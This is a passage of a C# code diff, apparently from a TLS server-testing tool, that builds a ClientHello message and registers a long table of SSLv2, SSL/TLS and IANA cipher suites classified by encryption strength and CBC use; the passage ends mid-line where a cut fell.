RandomNumberGenerator RNG = new RNGCryptoServiceProvider(); + + /* + * Build a ClientHello message, with the specified maximum + * supported version, and list of cipher suites. + */ + byte[] MakeClientHello(int version, ICollection cipherSuites) + { + MemoryStream b = new MemoryStream(); + + /* + * Message header: + * message type: one byte (1 = "ClientHello") + * message length: three bytes (this will be adjusted + * at the end of this method). + */ + b.WriteByte(1); + b.WriteByte(0); + b.WriteByte(0); + b.WriteByte(0); + + /* + * The maximum version that we intend to support. + */ + b.WriteByte((byte)(version >> 8)); + b.WriteByte((byte)version); + + /* + * The client random has length 32 bytes, but begins with + * the client's notion of the current time, over 32 bits + * (seconds since 1970/01/01 00:00:00 UTC, not counting + * leap seconds). + */ + byte[] rand = new byte[32]; + RNG.GetBytes(rand); + M.Enc32be((int)(M.CurrentTimeMillis() / 1000), rand, 0); + b.Write(rand, 0, rand.Length); + + /* + * We send an empty session ID. + */ + b.WriteByte(0); + + /* + * The list of cipher suites (list of 16-bit values; the + * list length in bytes is written first). + */ + int num = cipherSuites.Count; + byte[] cs = new byte[2 + num * 2]; + M.Enc16be(num * 2, cs, 0); + int j = 2; + foreach (int s in cipherSuites) + { + M.Enc16be(s, cs, j); + j += 2; + } + b.Write(cs, 0, cs.Length); + + /* + * Compression methods: we claim to support Deflate (1) + * and the standard no-compression (0), with Deflate + * being preferred. + */ + b.WriteByte(2); + b.WriteByte(1); + b.WriteByte(0); + + /* + * If we had extensions to add, they would go here. + */ + + /* + * We now get the message as a blob. The message length + * must be adjusted in the header. + */ + byte[] msg = b.ToArray(); + M.Enc24be(msg.Length - 4, msg, 1); + return msg; + } + + readonly IDictionary CIPHER_SUITES = + new SortedDictionary(); + + const int CLEAR = 0; // no encryption + const int WEAK = 1; // weak encryption: 40-bit key + const int MEDIUM = 2; // medium encryption: 56-bit key + const int STRONG = 3; // strong encryption + + string StrengthString(int strength) + { + switch (strength) + { + case CLEAR: return "no encryption"; + case WEAK: return "weak encryption (40-bit)"; + case MEDIUM: return "medium encryption (56-bit)"; + case STRONG: return "strong encryption (96-bit or more)"; + default: + throw new Exception("strange strength: " + strength); + } + } + + string CipherSuiteString(int suite) + { + CipherSuite cs = CIPHER_SUITES[suite]; + if (cs == null) + { + return String.Format("UNKNOWN_SUITE:0x{0:X4}", suite); + } + else + { + return cs.name; + } + } + + string CipherSuiteStringV2(int suite) + { + CipherSuite cs = CIPHER_SUITES[suite]; + if (cs == null) + { + return String.Format( + "UNKNOWN_SUITE:{0:X2},{0:X2},{0:X2}", + suite >> 16, (suite >> 8) & 0xFF, suite & 0xFF); + } + else + { + return cs.name; + } + } + + void MakeCS(int suite, String name, bool isCBC, int strength) + { + CipherSuite cs = new CipherSuite(); + cs.suite = suite; + cs.name = name; + cs.isCBC = isCBC; + cs.strength = strength; + CIPHER_SUITES.Add(suite, cs); + + /* + * Consistency test: the strength and CBC status can normally + * be inferred from the name itself. + */ + bool inferredCBC = name.Contains("_CBC_"); + int inferredStrength; + if (name.Contains("_NULL_")) + { + inferredStrength = CLEAR; + } + else if (name.Contains("DES40") || name.Contains("_40_") + || name.Contains("EXPORT40")) + { + inferredStrength = WEAK; + } + else if ((name.Contains("_DES_") || name.Contains("DES_64")) + && !name.Contains("DES_192")) + { + inferredStrength = MEDIUM; + } + else + { + inferredStrength = STRONG; + } + if (inferredStrength != strength || inferredCBC != isCBC) + { + throw new Exception("wrong classification: " + name); + } + } + + void N(int suite, string name) + { + MakeCS(suite, name, false, CLEAR); + } + + void S4(int suite, string name) + { + MakeCS(suite, name, false, WEAK); + } + + void S8(int suite, string name) + { + MakeCS(suite, name, false, STRONG); + } + + void B4(int suite, string name) + { + MakeCS(suite, name, true, WEAK); + } + + void B5(int suite, string name) + { + MakeCS(suite, name, true, MEDIUM); + } + + void B8(int suite, string name) + { + MakeCS(suite, name, true, STRONG); + } + + void InitCipherSuites() + { + DebugOutput("[+INFO] Initialising Cipher Suites"); + + /* + * SSLv2 cipher suites. + */ + S8(0x010080, "RC4_128_WITH_MD5"); + S4(0x020080, "RC4_128_EXPORT40_WITH_MD5"); + B8(0x030080, "RC2_128_CBC_WITH_MD5"); + B4(0x040080, "RC2_128_CBC_EXPORT40_WITH_MD5"); + B8(0x050080, "IDEA_128_CBC_WITH_MD5"); + B5(0x060040, "DES_64_CBC_WITH_MD5"); + B8(0x0700C0, "DES_192_EDE3_CBC_WITH_MD5"); + + /* + * Original suites (SSLv3, TLS 1.0). + */ + N(0x0000, "NULL_WITH_NULL_NULL"); + N(0x0001, "RSA_WITH_NULL_MD5"); + N(0x0002, "RSA_WITH_NULL_SHA"); + S4(0x0003, "RSA_EXPORT_WITH_RC4_40_MD5"); + S8(0x0004, "RSA_WITH_RC4_128_MD5"); + S8(0x0005, "RSA_WITH_RC4_128_SHA"); + B4(0x0006, "RSA_EXPORT_WITH_RC2_CBC_40_MD5"); + B8(0x0007, "RSA_WITH_IDEA_CBC_SHA"); + B4(0x0008, "RSA_EXPORT_WITH_DES40_CBC_SHA"); + B5(0x0009, "RSA_WITH_DES_CBC_SHA"); + B8(0x000A, "RSA_WITH_3DES_EDE_CBC_SHA"); + B4(0x000B, "DH_DSS_EXPORT_WITH_DES40_CBC_SHA"); + B5(0x000C, "DH_DSS_WITH_DES_CBC_SHA"); + B8(0x000D, "DH_DSS_WITH_3DES_EDE_CBC_SHA"); + B4(0x000E, "DH_RSA_EXPORT_WITH_DES40_CBC_SHA"); + B5(0x000F, "DH_RSA_WITH_DES_CBC_SHA"); + B8(0x0010, "DH_RSA_WITH_3DES_EDE_CBC_SHA"); + B4(0x0011, "DHE_DSS_EXPORT_WITH_DES40_CBC_SHA"); + B5(0x0012, "DHE_DSS_WITH_DES_CBC_SHA"); + B8(0x0013, "DHE_DSS_WITH_3DES_EDE_CBC_SHA"); + B4(0x0014, "DHE_RSA_EXPORT_WITH_DES40_CBC_SHA"); + B5(0x0015, "DHE_RSA_WITH_DES_CBC_SHA"); + B8(0x0016, "DHE_RSA_WITH_3DES_EDE_CBC_SHA"); + S4(0x0017, "DH_anon_EXPORT_WITH_RC4_40_MD5"); + S8(0x0018, "DH_anon_WITH_RC4_128_MD5"); + B4(0x0019, "DH_anon_EXPORT_WITH_DES40_CBC_SHA"); + B5(0x001A, "DH_anon_WITH_DES_CBC_SHA"); + B8(0x001B, "DH_anon_WITH_3DES_EDE_CBC_SHA"); + + /* + * FORTEZZA suites (SSLv3 only; see RFC 6101). + */ + N(0x001C, "FORTEZZA_KEA_WITH_NULL_SHA"); + B8(0x001D, "FORTEZZA_KEA_WITH_FORTEZZA_CBC_SHA"); + + /* This one is deactivated since it conflicts with + one of the Kerberos cipher suites. + S8(0x001E, "FORTEZZA_KEA_WITH_RC4_128_SHA" ); + */ + + /* + * Kerberos cipher suites (RFC 2712). + */ + B5(0x001E, "KRB5_WITH_DES_CBC_SHA"); + B8(0x001F, "KRB5_WITH_3DES_EDE_CBC_SHA"); + S8(0x0020, "KRB5_WITH_RC4_128_SHA"); + B8(0x0021, "KRB5_WITH_IDEA_CBC_SHA"); + B5(0x0022, "KRB5_WITH_DES_CBC_MD5"); + B8(0x0023, "KRB5_WITH_3DES_EDE_CBC_MD5"); + S8(0x0024, "KRB5_WITH_RC4_128_MD5"); + B8(0x0025, "KRB5_WITH_IDEA_CBC_MD5"); + B4(0x0026, "KRB5_EXPORT_WITH_DES_CBC_40_SHA"); + B4(0x0027, "KRB5_EXPORT_WITH_RC2_CBC_40_SHA"); + S4(0x0028, "KRB5_EXPORT_WITH_RC4_40_SHA"); + B4(0x0029, "KRB5_EXPORT_WITH_DES_CBC_40_MD5"); + B4(0x002A, "KRB5_EXPORT_WITH_RC2_CBC_40_MD5"); + S4(0x002B, "KRB5_EXPORT_WITH_RC4_40_MD5"); + + /* + * Pre-shared key, no encryption cipher suites (RFC 4785). + */ + N(0x002C, "PSK_WITH_NULL_SHA"); + N(0x002D, "DHE_PSK_WITH_NULL_SHA"); + N(0x002E, "RSA_PSK_WITH_NULL_SHA"); + + /* + * AES-based suites (TLS 1.1). + */ + B8(0x002F, "RSA_WITH_AES_128_CBC_SHA"); + B8(0x0030, "DH_DSS_WITH_AES_128_CBC_SHA"); + B8(0x0031, "DH_RSA_WITH_AES_128_CBC_SHA"); + B8(0x0032, "DHE_DSS_WITH_AES_128_CBC_SHA"); + B8(0x0033, "DHE_RSA_WITH_AES_128_CBC_SHA"); + B8(0x0034, "DH_anon_WITH_AES_128_CBC_SHA"); + B8(0x0035, "RSA_WITH_AES_256_CBC_SHA"); + B8(0x0036, "DH_DSS_WITH_AES_256_CBC_SHA"); + B8(0x0037, "DH_RSA_WITH_AES_256_CBC_SHA"); + B8(0x0038, "DHE_DSS_WITH_AES_256_CBC_SHA"); + B8(0x0039, "DHE_RSA_WITH_AES_256_CBC_SHA"); + B8(0x003A, "DH_anon_WITH_AES_256_CBC_SHA"); + + /* + * Suites with SHA-256 (TLS 1.2). + */ + N(0x003B, "RSA_WITH_NULL_SHA256"); + B8(0x003C, "RSA_WITH_AES_128_CBC_SHA256"); + B8(0x003D, "RSA_WITH_AES_256_CBC_SHA256"); + B8(0x003E, "DH_DSS_WITH_AES_128_CBC_SHA256"); + B8(0x003F, "DH_RSA_WITH_AES_128_CBC_SHA256"); + B8(0x0040, "DHE_DSS_WITH_AES_128_CBC_SHA256"); + B8(0x0067, "DHE_RSA_WITH_AES_128_CBC_SHA256"); + B8(0x0068, "DH_DSS_WITH_AES_256_CBC_SHA256"); + B8(0x0069, "DH_RSA_WITH_AES_256_CBC_SHA256"); + B8(0x006A, "DHE_DSS_WITH_AES_256_CBC_SHA256"); + B8(0x006B, "DHE_RSA_WITH_AES_256_CBC_SHA256"); + B8(0x006C, "DH_anon_WITH_AES_128_CBC_SHA256"); + B8(0x006D, "DH_anon_WITH_AES_256_CBC_SHA256"); + + /* + * Camellia cipher suites (RFC 5932). + */ + B8(0x0041, "RSA_WITH_CAMELLIA_128_CBC_SHA"); + B8(0x0042, "DH_DSS_WITH_CAMELLIA_128_CBC_SHA"); + B8(0x0043, "DH_RSA_WITH_CAMELLIA_128_CBC_SHA"); + B8(0x0044, "DHE_DSS_WITH_CAMELLIA_128_CBC_SHA"); + B8(0x0045, "DHE_RSA_WITH_CAMELLIA_128_CBC_SHA"); + B8(0x0046, "DH_anon_WITH_CAMELLIA_128_CBC_SHA"); + B8(0x0084, "RSA_WITH_CAMELLIA_256_CBC_SHA"); + B8(0x0085, "DH_DSS_WITH_CAMELLIA_256_CBC_SHA"); + B8(0x0086, "DH_RSA_WITH_CAMELLIA_256_CBC_SHA"); + B8(0x0087, "DHE_DSS_WITH_CAMELLIA_256_CBC_SHA"); + B8(0x0088, "DHE_RSA_WITH_CAMELLIA_256_CBC_SHA"); + B8(0x0089, "DH_anon_WITH_CAMELLIA_256_CBC_SHA"); + + /* + * Unsorted (yet), from the IANA TLS registry: + * http://www.iana.org/assignments/tls-parameters/ + */ + S8(0x008A, "TLS_PSK_WITH_RC4_128_SHA"); + B8(0x008B, "TLS_PSK_WITH_3DES_EDE_CBC_SHA"); + B8(0x008C, "TLS_PSK_WITH_AES_128_CBC_SHA"); + B8(0x008D, "TLS_PSK_WITH_AES_256_CBC_SHA"); + S8(0x008E, "TLS_DHE_PSK_WITH_RC4_128_SHA"); + B8(0x008F, "TLS_DHE_PSK_WITH_3DES_EDE_CBC_SHA"); + B8(0x0090, "TLS_DHE_PSK_WITH_AES_128_CBC_SHA"); + B8(0x0091, "TLS_DHE_PSK_WITH_AES_256_CBC_SHA"); + S8(0x0092, "TLS_RSA_PSK_WITH_RC4_128_SHA"); + B8(0x0093, "TLS_RSA_PSK_WITH_3DES_EDE_CBC_SHA"); + B8(0x0094, "TLS_RSA_PSK_WITH_AES_128_CBC_SHA"); + B8(0x0095, "TLS_RSA_PSK_WITH_AES_256_CBC_SHA"); + B8(0x0096, "TLS_RSA_WITH_SEED_CBC_SHA"); + B8(0x0097, "TLS_DH_DSS_WITH_SEED_CBC_SHA"); + B8(0x0098, "TLS_DH_RSA_WITH_SEED_CBC_SHA"); + B8(0x0099, "TLS_DHE_DSS_WITH_SEED_CBC_SHA"); + B8(0x009A, "TLS_DHE_RSA_WITH_SEED_CBC_SHA"); + B8(0x009B, "TLS_DH_anon_WITH_SEED_CBC_SHA"); + S8(0x009C, "TLS_RSA_WITH_AES_128_GCM_SHA256"); + S8(0x009D, "TLS_RSA_WITH_AES_256_GCM_SHA384"); + S8(0x009E, "TLS_DHE_RSA_WITH_AES_128_GCM_SHA256"); + S8(0x009F, "TLS_DHE_RSA_WITH_AES_256_GCM_SHA384"); + S8(0x00A0, "TLS_DH_RSA_WITH_AES_128_GCM_SHA256"); + S8(0x00A1, "TLS_DH_RSA_WITH_AES_256_GCM_SHA384"); + S8(0x00A2, "TLS_DHE_DSS_WITH_AES_128_GCM_SHA256"); + S8(0x00A3, "TLS_DHE_DSS_WITH_AES_256_GCM_SHA384"); + S8(0x00A4, "TLS_DH_DSS_WITH_AES_128_GCM_SHA256"); + S8(0x00A5, "TLS_DH_DSS_WITH_AES_256_GCM_SHA384"); + S8(0x00A6, "TLS_DH_anon_WITH_AES_128_GCM_SHA256"); + S8(0x00A7, "TLS_DH_anon_WITH_AES_256_GCM_SHA384"); + S8(0x00A8, "TLS_PSK_WITH_AES_128_GCM_SHA256"); + S8(0x00A9, "TLS_PSK_WITH_AES_256_GCM_SHA384"); + S8(0x00AA, "TLS_DHE_PSK_WITH_AES_128_GCM_SHA256"); + S8(0x00AB, "TLS_DHE_PSK_WITH_AES_256_GCM_SHA384"); + S8(0x00AC, "TLS_RSA_PSK_WITH_AES_128_GCM_SHA256"); + S8(0x00AD, "TLS_RSA_PSK_WITH_AES_256_GCM_SHA384"); + B8(0x00AE, "TLS_PSK_WITH_AES_128_CBC_SHA256"); + B8(0x00AF, "TLS_PSK_WITH_AES_256_CBC_SHA384"); + N(0x00B0, "TLS_PSK_WITH_NULL_SHA256"); + N(0x00B1, "TLS_PSK_WITH_NULL_SHA384"); + B8(0x00B2, "TLS_DHE_PSK_WITH_AES_128_CBC_SHA256"); + B8(0x00B3, "TLS_DHE_PSK_WITH_AES_256_CBC_SHA384"); + N(0x00B4, "TLS_DHE_PSK_WITH_NULL_SHA256"); + N(0x00B5, "TLS_DHE_PSK_WITH_NULL_SHA384"); + B8(0x00B6, "TLS_RSA_PSK_WITH_AES_128_CBC_SHA256"); + B8(0x00B7, "TLS_RSA_PSK_WITH_AES_256_CBC_SHA384"); + N(0x00B8, "TLS_RSA_PSK_WITH_NULL_SHA256"); + N(0x00B9, "TLS_RSA_PSK_WITH_NULL_SHA384"); + B8(0x00BA, "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0x00BB, "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0x00BC, "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0x00BD, "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0x00BE, "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0x00BF, "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0x00C0, "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA256"); + B8(0x00C1, "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA256"); + B8(0x00C2, "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA256"); + B8(0x00C3, "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA256"); + B8(0x00C4, "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA256"); + B8(0x00C5, "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA256"); + /* This one is a fake cipher suite which marks a + renegotiation. + N(0x00FF, "TLS_EMPTY_RENEGOTIATION_INFO_SCSV" ); + */ + N(0xC001, "TLS_ECDH_ECDSA_WITH_NULL_SHA"); + S8(0xC002, "TLS_ECDH_ECDSA_WITH_RC4_128_SHA"); + B8(0xC003, "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA"); + B8(0xC004, "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA"); + B8(0xC005, "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA"); + N(0xC006, "TLS_ECDHE_ECDSA_WITH_NULL_SHA"); + S8(0xC007, "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA"); + B8(0xC008, "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA"); + B8(0xC009, "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA"); + B8(0xC00A, "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA"); + N(0xC00B, "TLS_ECDH_RSA_WITH_NULL_SHA"); + S8(0xC00C, "TLS_ECDH_RSA_WITH_RC4_128_SHA"); + B8(0xC00D, "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA"); + B8(0xC00E, "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA"); + B8(0xC00F, "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA"); + N(0xC010, "TLS_ECDHE_RSA_WITH_NULL_SHA"); + S8(0xC011, "TLS_ECDHE_RSA_WITH_RC4_128_SHA"); + B8(0xC012, "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA"); + B8(0xC013, "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA"); + B8(0xC014, "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA"); + N(0xC015, "TLS_ECDH_anon_WITH_NULL_SHA"); + S8(0xC016, "TLS_ECDH_anon_WITH_RC4_128_SHA"); + B8(0xC017, "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA"); + B8(0xC018, "TLS_ECDH_anon_WITH_AES_128_CBC_SHA"); + B8(0xC019, "TLS_ECDH_anon_WITH_AES_256_CBC_SHA"); + B8(0xC01A, "TLS_SRP_SHA_WITH_3DES_EDE_CBC_SHA"); + B8(0xC01B, "TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA"); + B8(0xC01C, "TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA"); + B8(0xC01D, "TLS_SRP_SHA_WITH_AES_128_CBC_SHA"); + B8(0xC01E, "TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA"); + B8(0xC01F, "TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA"); + B8(0xC020, "TLS_SRP_SHA_WITH_AES_256_CBC_SHA"); + B8(0xC021, "TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA"); + B8(0xC022, "TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA"); + B8(0xC023, "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256"); + B8(0xC024, "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384"); + B8(0xC025, "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA256"); + B8(0xC026, "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384"); + B8(0xC027, "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256"); + B8(0xC028, "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384"); + B8(0xC029, "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA256"); + B8(0xC02A, "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384"); + S8(0xC02B, "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256"); + S8(0xC02C, "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384"); + S8(0xC02D, "TLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256"); + S8(0xC02E, "TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384"); + S8(0xC02F, "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"); + S8(0xC030, "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384"); + S8(0xC031, "TLS_ECDH_RSA_WITH_AES_128_GCM_SHA256"); + S8(0xC032, "TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384"); + S8(0xC033, "TLS_ECDHE_PSK_WITH_RC4_128_SHA"); + B8(0xC034, "TLS_ECDHE_PSK_WITH_3DES_EDE_CBC_SHA"); + B8(0xC035, "TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA"); + B8(0xC036, "TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA"); + B8(0xC037, "TLS_ECDHE_PSK_WITH_AES_128_CBC_SHA256"); + B8(0xC038, "TLS_ECDHE_PSK_WITH_AES_256_CBC_SHA384"); + N(0xC039, "TLS_ECDHE_PSK_WITH_NULL_SHA"); + N(0xC03A, "TLS_ECDHE_PSK_WITH_NULL_SHA256"); + N(0xC03B, "TLS_ECDHE_PSK_WITH_NULL_SHA384"); + B8(0xC03C, "TLS_RSA_WITH_ARIA_128_CBC_SHA256"); + B8(0xC03D, "TLS_RSA_WITH_ARIA_256_CBC_SHA384"); + B8(0xC03E, "TLS_DH_DSS_WITH_ARIA_128_CBC_SHA256"); + B8(0xC03F, "TLS_DH_DSS_WITH_ARIA_256_CBC_SHA384"); + B8(0xC040, "TLS_DH_RSA_WITH_ARIA_128_CBC_SHA256"); + B8(0xC041, "TLS_DH_RSA_WITH_ARIA_256_CBC_SHA384"); + B8(0xC042, "TLS_DHE_DSS_WITH_ARIA_128_CBC_SHA256"); + B8(0xC043, "TLS_DHE_DSS_WITH_ARIA_256_CBC_SHA384"); + B8(0xC044, "TLS_DHE_RSA_WITH_ARIA_128_CBC_SHA256"); + B8(0xC045, "TLS_DHE_RSA_WITH_ARIA_256_CBC_SHA384"); + B8(0xC046, "TLS_DH_anon_WITH_ARIA_128_CBC_SHA256"); + B8(0xC047, "TLS_DH_anon_WITH_ARIA_256_CBC_SHA384"); + B8(0xC048, "TLS_ECDHE_ECDSA_WITH_ARIA_128_CBC_SHA256"); + B8(0xC049, "TLS_ECDHE_ECDSA_WITH_ARIA_256_CBC_SHA384"); + B8(0xC04A, "TLS_ECDH_ECDSA_WITH_ARIA_128_CBC_SHA256"); + B8(0xC04B, "TLS_ECDH_ECDSA_WITH_ARIA_256_CBC_SHA384"); + B8(0xC04C, "TLS_ECDHE_RSA_WITH_ARIA_128_CBC_SHA256"); + B8(0xC04D, "TLS_ECDHE_RSA_WITH_ARIA_256_CBC_SHA384"); + B8(0xC04E, "TLS_ECDH_RSA_WITH_ARIA_128_CBC_SHA256"); + B8(0xC04F, "TLS_ECDH_RSA_WITH_ARIA_256_CBC_SHA384"); + S8(0xC050, "TLS_RSA_WITH_ARIA_128_GCM_SHA256"); + S8(0xC051, "TLS_RSA_WITH_ARIA_256_GCM_SHA384"); + S8(0xC052, "TLS_DHE_RSA_WITH_ARIA_128_GCM_SHA256"); + S8(0xC053, "TLS_DHE_RSA_WITH_ARIA_256_GCM_SHA384"); + S8(0xC054, "TLS_DH_RSA_WITH_ARIA_128_GCM_SHA256"); + S8(0xC055, "TLS_DH_RSA_WITH_ARIA_256_GCM_SHA384"); + S8(0xC056, "TLS_DHE_DSS_WITH_ARIA_128_GCM_SHA256"); + S8(0xC057, "TLS_DHE_DSS_WITH_ARIA_256_GCM_SHA384"); + S8(0xC058, "TLS_DH_DSS_WITH_ARIA_128_GCM_SHA256"); + S8(0xC059, "TLS_DH_DSS_WITH_ARIA_256_GCM_SHA384"); + S8(0xC05A, "TLS_DH_anon_WITH_ARIA_128_GCM_SHA256"); + S8(0xC05B, "TLS_DH_anon_WITH_ARIA_256_GCM_SHA384"); + S8(0xC05C, "TLS_ECDHE_ECDSA_WITH_ARIA_128_GCM_SHA256"); + S8(0xC05D, "TLS_ECDHE_ECDSA_WITH_ARIA_256_GCM_SHA384"); + S8(0xC05E, "TLS_ECDH_ECDSA_WITH_ARIA_128_GCM_SHA256"); + S8(0xC05F, "TLS_ECDH_ECDSA_WITH_ARIA_256_GCM_SHA384"); + S8(0xC060, "TLS_ECDHE_RSA_WITH_ARIA_128_GCM_SHA256"); + S8(0xC061, "TLS_ECDHE_RSA_WITH_ARIA_256_GCM_SHA384"); + S8(0xC062, "TLS_ECDH_RSA_WITH_ARIA_128_GCM_SHA256"); + S8(0xC063, "TLS_ECDH_RSA_WITH_ARIA_256_GCM_SHA384"); + B8(0xC064, "TLS_PSK_WITH_ARIA_128_CBC_SHA256"); + B8(0xC065, "TLS_PSK_WITH_ARIA_256_CBC_SHA384"); + B8(0xC066, "TLS_DHE_PSK_WITH_ARIA_128_CBC_SHA256"); + B8(0xC067, "TLS_DHE_PSK_WITH_ARIA_256_CBC_SHA384"); + B8(0xC068, "TLS_RSA_PSK_WITH_ARIA_128_CBC_SHA256"); + B8(0xC069, "TLS_RSA_PSK_WITH_ARIA_256_CBC_SHA384"); + S8(0xC06A, "TLS_PSK_WITH_ARIA_128_GCM_SHA256"); + S8(0xC06B, "TLS_PSK_WITH_ARIA_256_GCM_SHA384"); + S8(0xC06C, "TLS_DHE_PSK_WITH_ARIA_128_GCM_SHA256"); + S8(0xC06D, "TLS_DHE_PSK_WITH_ARIA_256_GCM_SHA384"); + S8(0xC06E, "TLS_RSA_PSK_WITH_ARIA_128_GCM_SHA256"); + S8(0xC06F, "TLS_RSA_PSK_WITH_ARIA_256_GCM_SHA384"); + B8(0xC070, "TLS_ECDHE_PSK_WITH_ARIA_128_CBC_SHA256"); + B8(0xC071, "TLS_ECDHE_PSK_WITH_ARIA_256_CBC_SHA384"); + B8(0xC072, "TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0xC073, "TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_CBC_SHA384"); + B8(0xC074, "TLS_ECDH_ECDSA_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0xC075, "TLS_ECDH_ECDSA_WITH_CAMELLIA_256_CBC_SHA384"); + B8(0xC076, "TLS_ECDHE_RSA_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0xC077, "TLS_ECDHE_RSA_WITH_CAMELLIA_256_CBC_SHA384"); + B8(0xC078, "TLS_ECDH_RSA_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0xC079, "TLS_ECDH_RSA_WITH_CAMELLIA_256_CBC_SHA384"); + S8(0xC07A, "TLS_RSA_WITH_CAMELLIA_128_GCM_SHA256"); + S8(0xC07B, "TLS_RSA_WITH_CAMELLIA_256_GCM_SHA384"); + S8(0xC07C, "TLS_DHE_RSA_WITH_CAMELLIA_128_GCM_SHA256"); + S8(0xC07D, "TLS_DHE_RSA_WITH_CAMELLIA_256_GCM_SHA384"); + S8(0xC07E, "TLS_DH_RSA_WITH_CAMELLIA_128_GCM_SHA256"); + S8(0xC07F, "TLS_DH_RSA_WITH_CAMELLIA_256_GCM_SHA384"); + S8(0xC080, "TLS_DHE_DSS_WITH_CAMELLIA_128_GCM_SHA256"); + S8(0xC081, "TLS_DHE_DSS_WITH_CAMELLIA_256_GCM_SHA384"); + S8(0xC082, "TLS_DH_DSS_WITH_CAMELLIA_128_GCM_SHA256"); + S8(0xC083, "TLS_DH_DSS_WITH_CAMELLIA_256_GCM_SHA384"); + S8(0xC084, "TLS_DH_anon_WITH_CAMELLIA_128_GCM_SHA256"); + S8(0xC085, "TLS_DH_anon_WITH_CAMELLIA_256_GCM_SHA384"); + S8(0xC086, "TLS_ECDHE_ECDSA_WITH_CAMELLIA_128_GCM_SHA256"); + S8(0xC087, "TLS_ECDHE_ECDSA_WITH_CAMELLIA_256_GCM_SHA384"); + S8(0xC088, "TLS_ECDH_ECDSA_WITH_CAMELLIA_128_GCM_SHA256"); + S8(0xC089, "TLS_ECDH_ECDSA_WITH_CAMELLIA_256_GCM_SHA384"); + S8(0xC08A, "TLS_ECDHE_RSA_WITH_CAMELLIA_128_GCM_SHA256"); + S8(0xC08B, "TLS_ECDHE_RSA_WITH_CAMELLIA_256_GCM_SHA384"); + S8(0xC08C, "TLS_ECDH_RSA_WITH_CAMELLIA_128_GCM_SHA256"); + S8(0xC08D, "TLS_ECDH_RSA_WITH_CAMELLIA_256_GCM_SHA384"); + S8(0xC08E, "TLS_PSK_WITH_CAMELLIA_128_GCM_SHA256"); + S8(0xC08F, "TLS_PSK_WITH_CAMELLIA_256_GCM_SHA384"); + S8(0xC090, "TLS_DHE_PSK_WITH_CAMELLIA_128_GCM_SHA256"); + S8(0xC091, "TLS_DHE_PSK_WITH_CAMELLIA_256_GCM_SHA384"); + S8(0xC092, "TLS_RSA_PSK_WITH_CAMELLIA_128_GCM_SHA256"); + S8(0xC093, "TLS_RSA_PSK_WITH_CAMELLIA_256_GCM_SHA384"); + B8(0xC094, "TLS_PSK_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0xC095, "TLS_PSK_WITH_CAMELLIA_256_CBC_SHA384"); + B8(0xC096, "TLS_DHE_PSK_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0xC097, "TLS_DHE_PSK_WITH_CAMELLIA_256_CBC_SHA384"); + B8(0xC098, "TLS_RSA_PSK_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0xC099, "TLS_RSA_PSK_WITH_CAMELLIA_256_CBC_SHA384"); + B8(0xC09A, "TLS_ECDHE_PSK_WITH_CAMELLIA_128_CBC_SHA256"); + B8(0xC09B, "TLS_ECDHE_PSK_WITH_CAMELLIA_256_CBC_SHA384"); + S8(0xC09C, "TLS_RSA_WITH_AES_128_CCM"); + S8(0xC09D, "TLS_RSA_WITH_AES_256_CCM"); + S8(0xC09E, "TLS_DHE_RSA_WITH_AES_128_CCM"); + S8(0xC09F, "TLS_DHE_RSA_WITH_AES_256_CCM"); + S8(0xC0A0, "TLS_RSA_WITH_AES_128_CCM_8"); + S8(0xC0A1, 